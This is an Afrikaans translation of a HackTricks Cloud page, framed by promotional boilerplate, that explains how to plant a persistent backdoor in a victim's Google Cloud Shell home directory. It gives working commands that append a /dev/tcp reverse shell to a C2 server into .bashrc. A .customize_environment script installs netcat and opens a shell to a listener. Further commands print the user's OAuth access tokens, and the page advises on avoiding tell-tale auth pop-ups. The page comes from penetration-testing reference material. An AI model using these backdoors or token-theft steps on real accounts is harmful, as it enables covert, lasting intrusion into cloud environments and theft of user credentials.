GCP - Cloud Shell Persistence

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

• As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!

• Kry die amptelike PEASS & HackTricks swag

• Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs

• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud

• github-opslag.

Cloud Shell

Vir meer inligting, kyk:

GCP - Cloud Shell Enum

Volgehoue Agterdeur

Google Cloud Shell bied jou die geleentheid om opdraggelyntoegang tot jou wolkbronne direk vanuit jou webblaaier te hê sonder enige verbonde koste.

Jy kan toegang tot Google se Cloud Shell kry vanaf die webkonsol of deur gcloud cloud-shell ssh uit te voer.

Hierdie konsol het 'n paar interessante vermoëns vir aanvallers:

1. Enige Google-gebruiker met toegang tot Google Cloud het toegang tot 'n ten volle geauthentiseerde Cloud Shell-instantie (Diensrekeninge kan, selfs al is hulle eienaars van die organisasie).

2. Genoemde instantie sal sy tuisgids vir ten minste 120 dae handhaaf as geen aktiwiteit plaasvind nie.

3. Daar is geen vermoë vir 'n organisasie om die aktiwiteit van daardie instantie te monitor.

Dit beteken basies dat 'n aanvaller 'n agterdeur in die tuisgids van die gebruiker kan plaas en solank die gebruiker elke 120 dae ten minste na die GC Shell verbind, sal die agterdeur oorleef en die aanvaller sal elke keer 'n skul kry wanneer dit uitgevoer word deur net te doen:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

Daar is 'n ander lêer in die huisvouer genaamd .customize_environment wat, indien dit bestaan, elke keer uitgevoer gaan word wanneer die gebruiker die wolkmussel toegang (soos in die vorige tegniek). Voeg net die vorige agterdeur in of een soos die volgende om volharding te behou solank as wat die gebruiker die wolkmussel "gereeld" gebruik:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

Dit is belangrik om op te let dat die eerste keer wanneer 'n aksie wat verifikasie vereis, uitgevoer word, 'n pop-up verifikasie-venster in die gebruiker se webblaaier verskyn. Hierdie venster moet aanvaar word voordat die bevel uitgevoer kan word. As 'n onverwagte pop-up verskyn, kan dit vermoedens wek en moontlik die volhardingsmetode wat gebruik word, in gevaar bring.

Dit is die pop-up van die uitvoering van gcloud projects list vanaf die wolkshell (as aanvaller) wat in die webblaaier se gebruikersessie gesien word:

Maar, as die gebruiker aktief die wolkshell gebruik het, sal die pop-up nie verskyn nie en kan jy gebruikerstokens versamel met:

gcloud auth print-access-token
gcloud auth application-default print-access-token

Hoe die SSH-verbinding tot stand gebring word

Basies word hierdie 3 API-oproepe gebruik:

• https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (sal jou laat jou openbare sleutel wat jy plaaslik geskep het, byvoeg)

• https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (sal jou laat die instansie begin)

• https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (sal jou die IP van die Google Cloud Shell vertel)

Maar jy kan verdere inligting vind in https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Verwysings

• https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec

• https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

• https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

• As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kontroleer die INSKRYWINGSPLANNE!

• Kry die amptelike PEASS & HackTricks swag

• Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's

• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud

• github-repos.